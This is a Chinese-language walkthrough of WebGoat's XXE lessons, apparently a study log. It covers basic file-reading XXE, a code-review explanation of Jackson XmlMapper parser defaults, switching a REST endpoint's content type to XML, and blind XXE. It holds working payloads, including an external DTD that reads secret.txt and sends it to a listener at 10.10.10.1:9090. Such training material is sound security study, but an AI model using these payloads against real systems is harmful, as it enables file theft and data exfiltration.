4.XXE外部实体注入
尝试抓包看看:发现该评论框以XML形式传输信息
发到repeat,修改请求包,进行XML实体注入
在请求包的body换成如下XML:
<?xml version="1.0"?>
<!DOCTYPE cat [
<!ENTITY root SYSTEM "file:///">
]>
<comment> <text>&root;</text></comment>
发送,发现提示通过
接下来在proxy中同样操作就行
发现评论区输出了根目录下的文件信息
注意:
在实体注入的时候不能少了DTD声明<!DOCTYPE cat [ <!ENTITY root SYSTEM “file:///”> ]>也就是标黄的部分
DTD
DTD 指的是文档类型定义(Document Type Definition)。它是一种文本文件,用于定义 XML 文档中可以包含哪些元素和属性等内容。在 XML 解析过程中,解析器会根据 DTD 来验证 XML 文件的结构和元素内容等方面是否符合规范。
DTD 定义了XML文档所包含的元素、实体以及属性等信息。在DTD中我们可以定义文档类型、元素、属性、实体、符号、注释等内容。一个完整的 DTD 包含文档类型声明和文档内容定义两部分。其中文档类型声明是声明整个XML文档的支持信息,而文档内容定义是定义XML文档中各个元素和其它相关信息的具体定义。
DTD 的使用能够帮助使用者更好地组织和管理 XML 文件,并且能够提供有效的错误检查和代码提示,确保 XML 文档的正确性和可读性,从而提高XML的使用效率和可靠性。
可以尝试不加DTD声明发现输出了XML解析报错信息
6.通过代码审查查找 XXE
通过代码审查查找 XXE
下面将会解释在第六部分代码,在java代码审计中查找XXE,我在原文的基础上做了些注释,红色部分为注释
现在我们知道注射是如何工作的,让我们看看为什么会发生这种情况。在 Java 应用程序中,XML 库配置默认不安全,您必须更改设置(下面就讲解为什么是不安全的)。假设您在代码审查期间发现以下代码片段:
public XmlMapper xmlMapper() {
return new XmlMapper(XMLInputFactory.newInstance())
}
注释:搜索下这段代码,发现这个函数用于生成一个XmlMapper对象这个对象用于XML数据做序列化和反序列化的操作,相当于XML的解析器
以下是搜索原文:
这是一个示例代码片段,演示了如何创建一个 Jackson 的 XmlMapper 对象,并配置了一个 XMLInputFactory。
在这段代码中,xmlMapper()
方法返回一个XmlMapper
对象,通过调用XMLInputFactory.newInstance()
创建一个新的XMLInputFactory
实例,并将其作为参数传递给XmlMapper
的构造函数。XmlMapper
是 Jackson 框架的一个类,用于序列化和反序列化 XML 数据。它提供了许多方法来读取、处理和生成 XML 文档。
注意,该示例可能还需要根据实际需求进行调整和配置,例如添加更多的模块或自定义设置。而且根据上下文,还可能需要将返回的XmlMapper
对象配置到其他地方进行进一步的使用。
原文中说到了XML的序列化和反序列化,搜下什么是序列化和反序列化。其实就是将对象转化为容易传输和储存的一项技术,我的理解是类似压缩,在在传输储存前将对象压缩,在使用的时候在解压缩。提高了传输和储存的效率。
以下是搜索原文:序列化和反序列化 XML 数据什么意思
序列化和反序列化是将数据转换为不同的格式的过程
在上下文中,序列化指的是将对象转换为可以存储或传输的格式,例如将对象转换为 JSON、XML 或二进制数据等。在序列化过程中,对象的属性值被转换为可以表示和存储的形式。这样,对象就可以以某种形式进行存储、传输或持久化,并在需要时重新还原成对象。
而反序列化则是相反的过程,它将序列化后的数据重新转换为对象。通过反序列化,我们可以将以序列化格式存储的数据重新恢复为原始的对象,以便进一步处理、操作或使用。
在示例代码中,XmlMapper
提供了序列化和反序列化 XML 数据的功能。具体来说,它可以将 Java 对象序列化为 XML 格式的数据,以及将 XML 数据反序列化为 Java 对象。这种能力可以帮助我们在 Java 应用程序中与 XML 数据进行交互和处理。
问:解析器是否易受攻击?
我们来看看XMLFactory
这里浏览器翻译的有点问题直接换成了原文:
注释:解释下上面代码的意思,xmlin传入XmlFactory后将会判断该对象是否为空,如果不为空则创建一个新实体,并对这个对象设置如下参数:1.设置禁用外部实体扩展2.禁用 DTD 支持,而既然我们能够传入XmlIn则XmlIn永远不会为NULL则只要通过
上述代码搜索的原文:XmlMapper(XMLInputFactory inputF)
传入参数就默认得到了一个可以外部实体拓展和支持DTD的XML解析器
在代码中,有两个构造函数,一个是公共的构造函数XmlFactory(XMLInputFactory xmlIn)
,另一个是受保护的构造函数XmlFactory(XMLInputFactory xmlIn, XMLOutputFactory xmlOut, ...)
。
公共构造函数中,如果传入的xmlIn
参数为空,则会调用XMLInputFactory.newInstance()
创建一个新的XMLInputFactory
实例,并对其进行一些配置。例如,通过setProperty
方法设置XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES
属性为Boolean.FALSE
,以禁用外部实体扩展,以及设置XMLInputFactory.SUPPORT_DTD
属性为Boolean.FALSE
,以禁用 DTD 支持。
受保护构造函数按照传入的参数创建XmlFactory
对象,并在必要时对传入的xmlIn
和xmlOut
进行配置。
这段代码表明XmlFactory
可以用于创建 XML 解析器和生成器,并进行自定义的配置,以满足特定的需求和安全性要求。
7.现代REST框架
根据文章提示,发现传输的是JSON数据,将content-type修改成xml传入xml即可
就可以响应根目录下的文件信息了,这里类似于任意文件读取了。
11.Blind XXE assignment
外带XXE实体注入:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://10.10.10.1:9090/files/vagary/1.dtd">
%dtd;
%print;
%send;
]>
<comment> <text>cute</text></comment>
注:
这段 XML 代码定义了一个名为 foo 的 DOCTYPE。在 foo DOCTYPE 中,使用了一个实体声明 <!ENTITY % dtd SYSTEM"..." >,其中 %dtd; 表示一个参数实体。
在这个实体声明中,使用 SYSTEM 指令指明 dtd 参数实体的值是来自 http://10.10.10.1:9090/files/vagary/1.dtd 这个地址的文件内容。
紧接着在 foo DOCTYPE 中,使用了 %dtd; 插入了 dtd 参数实体的内容。在 dtd 实体中,使用了另外两个实体 %print; 和 %send;。
%print; 和 %send; 两个实体在 1.dtd 文件中定义,分别表示打印输出和发送请求。它们将根据 %file; 实体的值发送请求到指定的 URL 中。
最后,XML 代码中还包含了一个 <comment> 元素和一个 <text> 元素。
其中1.dtd的内容是:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///home/webgoat/.webgoat-8.1.0//XXE/secret.txt">
<!ENTITY % print "<!ENTITY % send SYSTEM 'http://10.10.10.1:9090/landing?text=%file;'>">
注:
这段代码是一个简单的 XML 文件。它包含了两个实体声明和一个注释。
第一个实体声明是 %file,它将本地文件系统上的 secret.txt 文件的路径指定为 file:///home/webgoat/.webgoat-8.1.0//XXE/secret.txt。
第二个实体声明是 %print,它定义了一个参数实体 %send,表示将发送请求到 http://10.10.10.1:9090/landing?text=%file; 这个 URL。其中,%file; 实体引用将被替换为 secret.txt 文件的内容。
这段代码的作用是定义了一个发送请求到指定 URL 并包含本地文件内容的实体引用结构。
得到/home/webgoat/.webgoat-8.1.0//XXE/secret.txt中的文件内容: